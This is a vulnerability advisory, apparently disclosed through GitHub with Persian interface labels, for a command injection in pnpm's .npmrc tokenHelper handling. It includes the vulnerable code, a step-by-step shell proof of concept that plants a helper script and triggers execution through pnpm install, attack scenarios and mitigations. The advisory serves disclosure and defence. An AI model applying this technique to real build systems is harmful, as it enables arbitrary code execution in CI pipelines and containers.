نسخههای متأثر
- نسخههای متأثر
- >= 6.25.0, < 10.27.0
- نسخهٔ اصلاحشده
- 10.27.0
بهرهبرداری
شرح آسیبپذیری
Summary
A command injection vulnerability exists in pnpm when using environment variable substitution in .npmrc configuration files with tokenHelper settings. An attacker who can control environment variables during pnpm operations could achieve remote code execution (RCE) in build environments.
Affected Components
Package: pnpm
Versions: All versions using
@pnpm/config.env-replaceandloadTokenfunctionalityFile:
pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts-loadToken()functionFile:
pnpm/config/config/src/readLocalConfig.ts-.npmrcenvironment variable substitution
Technical Details
Vulnerability Chain
-
Environment Variable Substitution
.npmrcsupports${VAR}syntaxSubstitution occurs in
readLocalConfig()
-
loadToken Execution
Uses
spawnSync(helperPath, { shell: true })Only validates absolute path existence
-
Attack Flow
.npmrc: registry.npmjs.org/:tokenHelper=${HELPER_PATH}
↓
envReplace() → /tmp/evil-helper.sh
↓
loadToken() → spawnSync(..., { shell: true })
↓
RCE achieved
Code Evidence
pnpm/config/config/src/readLocalConfig.ts:17-18
key = envReplace(key, process.env)
ini[key] = parseField(types, envReplace(val, process.env), key)
pnpm/network/auth-header/src/getAuthHeadersFromConfig.ts:60-71
export function loadToken(helperPath: string, settingName: string): string {
if (!path.isAbsolute(helperPath) || !fs.existsSync(helperPath)) {
throw new PnpmError('BAD_TOKEN_HELPER_PATH', ...)
}
const spawnResult = spawnSync(helperPath, { shell: true })
// ...
}
Proof of Concept
Prerequisites
Private npm registry access
Control over environment variables
Ability to place scripts in filesystem
PoC Steps
# 1. Create malicious helper script
cat > /tmp/evil-helper.sh << 'SCRIPT'
#!/bin/bash
echo "RCE SUCCESS!" > /tmp/rce-log.txt
echo "TOKEN_12345"
SCRIPT
chmod +x /tmp/evil-helper.sh
# 2. Create .npmrc with environment variable
cat > .npmrc << 'EOF'
registry=https://registry.npmjs.org/
registry.npmjs.org/:tokenHelper=${HELPER_PATH}
EOF
# 3. Set environment variable (attacker controlled)
export HELPER_PATH=/tmp/evil-helper.sh
# 4. Trigger pnpm install
pnpm install # RCE occurs during auth
# 5. Verify attack
cat /tmp/rce-log.txt
PoC Results
==> Attack successful
==> File created: /tmp/rce-log.txt
==> Arbitrary code execution confirmed
Impact
Severity
CVSS Score: 7.6 (High)
CVSS Vector: cvss:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected Environments
High Risk:
CI/CD pipelines (GitHub Actions, GitLab CI)
Docker build environments
Kubernetes deployments
Private registry users
Low Risk:
Public registry only
Production runtime (no pnpm execution)
Static sites
Attack Scenarios
Scenario 1: CI/CD Supply Chain
Repository → Build Trigger → pnpm install → RCE → Production Deploy
Scenario 2: Docker Build
FROM node:20
ARG HELPER_PATH=/tmp/evil
COPY .npmrc .
RUN pnpm install # RCE
Scenario 3: Kubernetes
Secret Control → Env Variable → .npmrc Substitution → RCE
Mitigation
Temporary Workarounds
Disable tokenHelper:
# .npmrc
# registry.npmjs.org/:tokenHelper=${HELPER_PATH}
Use direct tokens:
//registry.npmjs.org/:_authToken=YOUR_TOKEN
Audit environment variables:
Review CI/CD env vars
Restrict .npmrc changes
Monitor build logs
Recommended Fixes
Remove
shell: truefrom loadTokenImplement helper path allowlist
Validate substituted paths
Consider sandboxing
Disclosure
Discovery: 2025-11-02
PoC: 2025-11-02
Report: [Pending disclosure decision]
References
Repository: https://github.com/pnpm/pnpm
Affected:
@pnpm/config.env-replace@^3.0.2Similar: CVE-2024-53866, CVE-2023-37478
Credit
Reported by: Jiyong Yang Contact: sy2n0@naver.com
پیوندها
گزارشدهندگان
- Sy2n0

